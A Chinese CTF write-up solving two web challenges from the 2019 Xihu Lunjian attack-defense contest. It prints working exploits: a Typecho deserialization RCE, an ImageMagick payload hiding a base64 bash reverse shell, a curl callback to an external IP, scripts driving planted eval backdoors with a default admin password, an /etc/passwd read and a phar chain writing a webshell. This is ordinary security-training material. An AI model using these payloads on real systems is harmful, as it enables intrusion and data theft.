2019西湖论剑AD攻防Web题解

一叶飘零 Web安全 2019年4月26日发布
Favorite收藏

导语:上周参加了西湖论剑线下赛,在AD攻防赛中喜迎冠军,以下是AD攻防赛中2道web的题解。

前言

上周参加了西湖论剑线下赛,在AD攻防赛中喜迎冠军,以下是AD攻防赛中2道web的题解。

Web1 – typecho

整体源码如下:

2019-04-25-12-32-36.png

因为是typecho CMS,所以肯定有已知CVE,由于之前审计过,这就不重新分析了,只分析人为加入的。

漏洞1 – 反序列化CVE

https://skysec.top/2017/12/29/cms%E5%B0%8F%E7%99%BD%E5%AE%A1%E8%AE%A1-typecho%E5%8F%8D%E5%BA%8F%E5%88%97%E6%BC%8F%E6%B4%9E/

可参加我以前分析的这篇文章,构造如下序列化,进行RCE:

class Typecho_Feed{
    private $_type='ATOM 1.0';
    private $_items;
 
    public function __construct(){
        $this->_items = array(
            '0'=>array(
                'author'=> new Typecho_Request())
        );
    }
}
 
class Typecho_Request{
    private $_params = array('screenName'=>'phpinfo()');
    private $_filter = array('assert');
}
$poc = array(
'adapter'=>new Typecho_Feed(),
'prefix'=>'typecho');
 
echo base64_encode(serialize($poc));

漏洞2 – Imagick

通过源码diff,可以发现:

/var/Widget/Users/Profile.php

有明显不同,插入了一大段代码:

2019-04-25-13-30-33.png

我们审计这段代码,可以发现关键点:

try {
    $image = new Imagick($file['tmp_name']);
    $image->scaleImage(255, 255);
    file_put_contents($path, $image->getImageBlob());
} catch (Exception $e) {
    $this->widget('Widget_Notice')->set(_t("头像上传失败"), 'error');
    $this->response->goBack();
}

这段代码使用了Imagick(),而该函数存在RCE漏洞。

我们以如下代码为例进行测试:

2019-04-25-13-44-23.png

构造上传内容为:

Content-Disposition: form-data; name="file_upload"; filename="exp.gif"
Content-Type: image/jpeg
push graphic-context
viewbox 0 0 640 480
fill 'url(https://127.0.0.0/oops.jpg?`echo L2Jpbi9iYXNoIC1pICZndDsmIC9kZXYvdGNwL2lwL3BvcnQgMCZndDsmMQ== | base64 -d | bash`"| cat flag " )'
pop graphic-context

即可RCE。

漏洞3 – authcode泄露

我们diff可以发现如下路径,存在新增文件:

/var/Sitemap.php

2019-04-25-13-36-41.png

我们审计代码发现关键点:

function ab($a='a')
{
    $b = authcode(base64_decode('MjJkZnFseEVScHcxWkU5c08raGxoOUJzWGFKM0F3NWVPMm5QUUFISm5WSDhuTGc='));
    $b($a);
}
{
    ob_start(ab);
    echo authcode($_GET['site']);
    ob_end_flush();
}

我们直接var_dump($b),发现为system,即此处如果可控$a,则可进行RCE。

我们测试一下:

<?php
function ab($a='a')
{
  // replace all the apples with oranges
return system($a);
}
ob_start("ab");
?>
curl 106.14.114.127:24444
<?php
ob_end_flush();
?>

可收到请求:

2019-04-25-14-04-28.png

则不难发现,如果我们能控制如下函数的输出内容,即可进行任意RCE。

authcode($_GET['site']);

那我们跟进authcode:

function authcode($string, $key = '12333010101') {
    $ckey_length = 4;
    $key = md5($key ? $key : $GLOBALS['discuz_auth_key']);
    $keya = md5(substr($key, 0, 16));
    $keyb = md5(substr($key, 16, 16));
    $keyc = substr($string, 0, $ckey_length);
    $cryptkey = $keya . md5($keya . $keyc);
    $key_length = strlen($cryptkey);
    $string =  base64_decode(substr($string, $ckey_length));
    $string_length = strlen($string);
    $result = '';
    $box = range(0, 255);
    $rndkey = array();
    for ($i = 0; $i <= 255; $i++) {
        $rndkey[$i] = ord($cryptkey[$i % $key_length]);
    }
    for ($j = $i = 0; $i < 256; $i++) {
        $j = ($j + $box[$i] + $rndkey[$i]) % 256;
        $tmp = $box[$i];
        $box[$i] = $box[$j];
        $box[$j] = $tmp;
    }
    for ($a = $j = $i = 0; $i < $string_length; $i++) {
        $a = ($a + 1) % 256;
        $j = ($j + $box[$a]) % 256;
        $tmp = $box[$a];
        $box[$a] = $box[$j];
        $box[$j] = $tmp;
        $result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));
    }
    if ((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) &&
        substr($result, 10, 16) == substr(md5(substr($result, 26) . $keyb), 0, 16)) {
        return substr($result, 26);
    } else {
        return '';
    }
}

依次分析,首先key已知为12333010101,那么:

$cryptkey = $keya . md5($keya . $keyc);
$key_length = strlen($cryptkey);

分别为:

afbedca20d58ccf2ceab39618a931d526ba4b613c047adffd92173daa701cdb6
64

然后操作:

$string =  base64_decode(substr($string, $ckey_length));
$string_length = strlen($string);

所以我们构造的payload的base64长度要小于64。

然后是一堆流密钥生成步骤,到最后解密这一块:

for ($a = $j = $i = 0; $i < $string_length; $i++) {
        $a = ($a + 1) % 256;
        $j = ($j + $box[$a]) % 256;
        $tmp = $box[$a];
        $box[$a] = $box[$j];
        $box[$j] = $tmp;
        $result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));
    }

最后有一步操作,即将我们输入的密文$string,异或上之前的流密钥,得到明文$result。

那么如果我们想要已知明文求密文,即用$result异或上流密钥即可:

$string .= chr(ord($result[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));

那我们怎么获取$result呢?还有一步校验要通过:

if ((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) &&
        substr($result, 10, 16) == substr(md5(substr($result, 26) . $keyb), 0, 16)) {
        return substr($result, 26);
    }

我们可以用如下方式生成$result:

<?php
$keyb = "9528c27d9961b981415d909a120c6e1b";
$result = 'ls';
$tmp = substr(md5($result . $keyb), 0, 16);
$padding = '0000000000';
$result = $padding.$tmp.$result;
var_dump($result);

最后异或之前的流密钥,再base64encode,即可得到我们的input,达到任意RCE的目的。

值得注意的是还有一步:

$keyc = substr($string, 0, $ckey_length);

在我们只有明文,没有加密算法的时候,他需要对密文进行截取,这就非常难办了。但是好在:

$ckey_length = 4;

由于其在base64encode之后,所以我们可以对其进行爆破,数量级为64^4,还是在可爆破的范围内。

这样很容易即可进行RCE(这样的题目放在4个小时,2个web的AD下,可能不太好吧= =)。

Web2 – Mycms

整体源码如下,我们依次审计:

2019-04-25-09-56-10.png

漏洞1 – 预留回调函数

/footer.php

<?php 
if($_SERVER['SCRIPT_FILENAME']==__FILE__){
    echo '<p>© mycms</p>';
}else{
    array_filter(array(base64_decode($data["name"])), base64_decode($data["pass"]));
}
?>

从代码不难看出:

array_filter(array(base64_decode($data["name"])), base64_decode($data["pass"]));

该位置存在命令执行,例如:

array_filter(array('ls /tmp'),'system');

2019-04-25-10-00-23.png

但是如果直接访问footer.php:

http://localhost/footer.php

会直接打印:

© mycms

所以需要找到一个包含点,不难发现index.php有:

<?php include "footer.php";?>

那么只要$data["name"]和$data["pass"]可控,即可进行任意命令执行。

我们跟进两个变量:

/libs/inc_common.php

$data = array_merge($_POST,$_GET);

可以发现,既可以用$_POST也可以用$_GET进行传参。

所以第一个漏洞利用exp可以写为如下:

import requests
import base64
url = 'http://localhost/index.php'
data = {
"name":base64.b64encode('ls'),
"pass":base64.b64encode('system')
}
r = requests.post(data=data,url=url)

漏洞2 – 预留登录shell

/shell.php

<?php
session_start();
if ($_SESSION['role'] == 1) {
    eval($_POST[1]);
}

我们发现有一个较为明显的预留shell,但是需要:

$_SESSION['role'] == 1

我们跟进该值:

/login.php

if (User::check($user, $pass)) {
        setcookie("auth",$user."\t".User::encodePassword($pass));
        $_SESSION['user'] = User::getIDByName($user);
        $_SESSION['role'] = User::getRoleByName($user);
        $wrong            = false;
        header("Location: index.php");
    } else {
        $wrong = true;
    }
}

可以发现如上登录函数,其中有赋值操作:

$_SESSION['role'] = User::getRoleByName($user);

跟进该函数getRoleByName():

public static function getRoleByName($name)
    {
        $users = User::getAllUser();
        for ($i = 0; $i < count($users); $i++) {
            if ($users[$i]['name'] === $name) {
                return $users[$i]['role'];
            }
        }
        return null;
    }

再跟进getAllUser():

public static function getAllUser()
    {
        $sql = 'select * from `user`';
        $db  = new MyDB();
        if (!$users = $db->exec_sql($sql)) {
            return array(array('id' => 1, 'name' => 'admin', 'password' => self::encodePassword('admin123'), 'role' => 1));
        }
        return $users;
    }

可以发现有admin账户信息,容易知道admin账户为:

username = admin
password = admin123

那么综合来看,只需使用该账户登录,即可使用shell.php。

那么可以写出如下exp:

import requests
 
url = "http://localhost/login.php"
s = requests.session()
data = {
'user':'admin',
'pass':'admin123'
}
r = s.post(url, data=data)
data = {
'1':"system('ls');"
}
url = "http://localhost/shell.php"
r = s.post(url,data=data)

漏洞3 – 管理员覆盖

我们注意到注册页面:

/register.php

$data["name"] = addslashes($data['name']);
$data["password"] = User::encodePassword($data['password']);
$res = User::insertuser($data);

我们跟进insertuser():

public static function insertuser($data)
{
        $db = new MyDB();
        $sql = "insert into user(".implode(",",array_keys($data)).") values ('".implode("','",array_values($data))."')";
        if (!$result = $db->exec_sql($sql)) {
            return array('msg' => '数据库异常', 'code' => -1, 'data' => array());
        }
        return array('msg' => '操作成功', 'code' => 0, 'data' => array());
}

发现关键语句:

$sql = "insert into user(".implode(",",array_keys($data)).") values ('".implode("','",array_values($data))."')";

未对$data进行判断,不但未进行查重,也没对数组内容进行check,我们可以顺便传入role,覆盖管理员。

可写出如下脚本:

import requests
s = requests.session()
url = "http://localhost/register.php"
data = {
'name':'skysky'
'password':'skysky'
'role':'1'
}
r = s.post(url, data=data)
url = "http://localhost/login.php"
data = {
'user':'skysky',
'pass':'skysky'
}
r = s.post(url, data=data)
data = {
'1':"system('ls');"
}
url = "http://localhost/shell.php"
r = s.post(url,data=data)

漏洞点4 – 任意文件读取

我们看到文件:

/down.php

<?php
if (isset($data['filename'])) { 
    if(preg_match("/^http/", $data['filename'])){
        exit();
    }
    chdir("/var/www/html/static/img/");    
    if (file_exists($data['filename'])) {
        header("Content-type: application/octet-stream");
        header('content-disposition:attachment; filename='.basename($data['filename']));
        echo file_get_contents($data['filename']);exit();
    }else{
        echo "文件不存在";
    }
}
?>

这里对filename参数做了过滤,但过滤非常有限,我们可以用file协议进行任意文件读取:

http://localhost/?filename=file:///etc/passwd

漏洞点5 – 反序列化

我们看到文件:

/libs/class_debug.php

<?php
class Debug {
    public $msg='';
    public $log='';
    function __construct($msg = '') {
        $this->msg = $msg;
        $this->log = 'errorlog';
        $this->fm = new FileManager($this->msg);
    }
    function __toString() {
        $str = "[DEUBG]" . $msg;
        $this->fm->save();
        return $str;
    }
    function __destruct() {
        file_put_contents('/var/www/html/logs/'.$this->log,$this->msg);
        unset($this->msg);
    }
}

可以发现这里有比较明显任意写文件漏洞,但我们需要控制文件名和文件内容,即:

$this->log
$this->msg

这里的exp构造较为容易:

<?php
class Debug {
public $msg='sky.php';
    public $log='<?php @eval($_POST[\'sky\'])';
}
$a = new Debug();
var_dump(serialize($a));

可以得到我们的payload:

O:5:"Debug":2:{s:3:"msg";s:7:"sky.php";s:3:"log";s:26:"<?php @eval($_POST['sky'])";}

但是我们缺少一个触发序列化的点,这里容易想到phar反序列化。

我们全局搜索file_exists(),可以发现/down.php中存在该操作:

if (file_exists($data['filename']))

同时该处没有对伪协议进行过滤,我们可以使用操作:

filename=phar://......

于是我们进一步寻找上传点,我们在/admin.php发现对应上传功能:

else if ($data['action'] == 'send_article') {
    $res = Article::sendArticle($data);
    echo "<html><script>alert('" . $res['msg'] . "')</script></html>";
    echo "<script>window.location.href='admin.php'</script>";
}

我们跟进sendArticle():

$oldname  = $_FILES['files']['name'];
$tmp      = $_FILES['files']['tmp_name'];
$pathinfo = pathinfo($oldname);
if (in_array($pathinfo['extension'], array('php', 'php3', 'php4', 'php5'))) {
    return array('msg' => '文件上传类型出错', 'code' => -1, 'data' => array());
}
$nameid = time() . rand(1000, 9999);
$name =  $nameid. '.' . $pathinfo['extension'];
$filepath = dirname(dirname(__FILE__)) . '/uploads/';
$file = 'uploads/' . $name;
if (!move_uploaded_file($tmp, $filepath . $name)) {
    return array('msg' => '文件上传出错', 'code' => -1, 'data' => array());
}

这里可以看到几个过滤,首先对后缀名进行了过滤:

'php', 'php3', 'php4', 'php5'

然后进行了重命名,但这都不重要。我们可以构造图片后缀的phar文件,然后上传,结合file_exists()触发反序列化。

构造如下:

<?php
class Debug {
public $msg='sky.php';
    public $log='<?php @eval($_POST[\'sky\'])';
}
$a = serialize(new Debug());
$b = unserialize($a);
$p = new Phar('./skyfuck.phar', 0);
$p->startBuffering();
$p->setStub('GIF89a<?php __HALT_COMPILER(); ?>');
$p->setMetadata($b);
$p->addFromString('test.txt','text');
$p->stopBuffering();
rename('skyfuck.phar', 'skyfuck.jpg')
?>

上传图片后即可触发反序列化,通过:

http://localhost/down.php?filename=phar://uploads/1234.jpg

即可任意写shell。

后记

听说两个cms一起有是几个洞 = =,先分析一下目前我找到的吧~有空再继续挖掘!

如若转载,请注明原文地址: https://www.4hou.com/web/17652.html
点赞 1
CTF
  • 分享至
取消

感谢您的支持,我会继续努力的!

扫码支持

打开微信扫一扫后点击右上角即可分享哟

发表评论

    2019-04-28 14:00

    哥哥,我想问一下,diff文件和文件夹的工具是什么

    2019-04-28 13:53

    哥哥,我想问一下,diff文件和文件夹的工具分别是什么

    2019-04-26 14:30

    diff是linux命令看的吗